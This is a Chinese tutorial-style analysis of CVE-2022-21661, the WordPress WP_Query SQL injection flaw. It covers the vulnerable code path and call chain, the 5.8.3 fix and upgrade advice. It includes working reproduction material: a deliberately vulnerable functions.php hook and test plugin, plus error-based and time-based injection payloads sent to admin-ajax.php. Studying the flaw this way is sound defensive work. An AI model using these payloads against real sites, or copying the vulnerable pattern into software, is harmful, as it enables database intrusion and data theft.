某Press核心框架WP_Query SQL注入漏洞分析(CVE-2022–21661)
字数 1678 2025-08-29 08:31:35
WordPress核心框架WP_Query SQL注入漏洞分析(CVE-2022-21661)教学文档
漏洞概述
CVE-2022-21661是WordPress核心框架中的一个SQL注入漏洞,存在于WP_Query类中。该漏洞允许攻击者通过精心构造的查询参数执行任意SQL语句,可能导致数据泄露、数据篡改等安全问题。
影响范围
- WordPress版本:v4.1~v5.8.2
- 修复版本:v5.8.3及以上
漏洞原理
WP_Query类简介
WP_Query是WordPress定义的一个核心类,允许开发者编写自定义查询和使用不同参数展示文章。它可以直接查询WordPress数据库,在核心框架、插件和主题中广泛使用。
漏洞触发点
漏洞主要存在于WP_Tax_Query类的clean_query()和transform_query()方法中,当满足特定条件时,用户输入的恶意SQL语句会被直接拼接到最终的SQL查询中。
漏洞触发条件
$query['include_children']或is_taxonomy_hierarchical($query['taxonomy'])为false$query['field']值为term_taxonomy_id
漏洞利用流程
- 攻击者构造恶意JSON数据,通过
tax_query参数传递SQL注入payload - 数据被传递给
WP_Query构造函数 - 在
get_sql_for_clause()方法中,恶意数据未被充分过滤 - 恶意数据被直接拼接到SQL查询中执行
漏洞复现
测试环境
- 操作系统:Windows 7
- Web服务器:Apache 2.4.23
- PHP版本:5.6.27
- WordPress版本:5.8
- 测试工具:Firefox + BurpSuite
复现步骤
- 在主题的
functions.php中添加测试代码:
function wp_query_test(){
echo 'test-cve-2022-21661';
$inputData = stripslashes($_POST['data']);
$jsonDecodeInputData = json_decode($inputData,true);
$wpTest = new WP_Query($jsonDecodeInputData);
wp_die();
}
add_action('wp_ajax_nopriv_test','wp_query_test',0);
- 开启WordPress调试模式(在
wp-config.php中):
define('WP_DEBUG', true);
- 发送恶意请求:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}
延时注入POC
当未开启调试模式时,可以使用延时注入:
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) or (select sleep(2))#"]}}}
漏洞分析
关键代码分析
漏洞位于wp-includes/class-wp-tax-query.php文件中的clean_query()方法:
private function clean_query(&$query) {
if (empty($query['taxonomy'])) {
if ('term_taxonomy_id' !== $query['field']) {
$query = new WP_Error('invalid_taxonomy', __('Invalid taxonomy.'));
return;
}
$query['include_children'] = false;
}
// ...
$this->transform_query($query, 'term_taxonomy_id');
}
当$query['field']为term_taxonomy_id时,transform_query()方法会直接返回,不对$query['terms']进行过滤:
protected function transform_query(&$query, $resulting_field) {
if ($query['field'] == $resulting_field) {
return;
}
// ...
}
调用链分析
WP_Query构造函数被调用- 调用
query()方法 - 调用
get_posts()方法 - 调用
get_sql()方法 - 调用
get_sql_clauses()方法 - 调用
get_sql_for_query()方法 - 调用
get_sql_for_clause()方法 - 调用
clean_query()方法 - 调用
transform_query()方法(直接返回) - 恶意数据被拼接到SQL查询中
完整SQL注入语句
SELECT SQL_CALC_FOUND_ROWS wp_posts.ID
FROM wp_posts
LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id)
WHERE 1=1
AND (wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#))
AND wp_posts.post_type IN ('post', 'page', 'attachment')
AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'future' OR wp_posts.post_status = 'draft' OR wp_posts.post_status = 'pending')
GROUP BY wp_posts.ID
ORDER BY wp_posts.post_date DESC
LIMIT 0, 10
插件漏洞示例
可以创建一个测试插件来演示漏洞:
<?php
/*
Plugin Name: CVE-2022-21661-test-plugin
Description: Test plugin for CVE-2022-21661
Version: 1.0
Author: Test
*/
function testSQLiCVE202221661() {
$inputData = stripslashes($_POST['data']);
$jsonDecodeInputData = json_decode($inputData, true);
$wpTest = new WP_Query($jsonDecodeInputData);
wp_die();
}
add_action('wp_ajax_nopriv_testcve202221661', 'testSQLiCVE202221661');
?>
修复方案
WordPress在5.8.3版本中修复了此漏洞,主要修改是在wp-includes/class-wp-tax-query.php中添加了对$query['terms']的严格类型检查:
$query['terms'] = wp_parse_id_list( $query['terms'] );
wp_parse_id_list()函数确保$query['terms']数组中的元素必须为整数。
修复建议
- 立即升级到WordPress 5.8.3或更高版本
- 检查所有自定义主题和插件中是否存在类似
new WP_Query($untrusted_input)的代码 - 对所有用户输入进行严格验证和过滤
总结
CVE-2022-21661是WordPress核心框架中一个严重的SQL注入漏洞,影响范围广。漏洞利用条件相对宽松,攻击者可以通过多种方式构造恶意请求。建议所有WordPress用户立即升级到安全版本,并检查自定义代码中是否存在类似的安全隐患。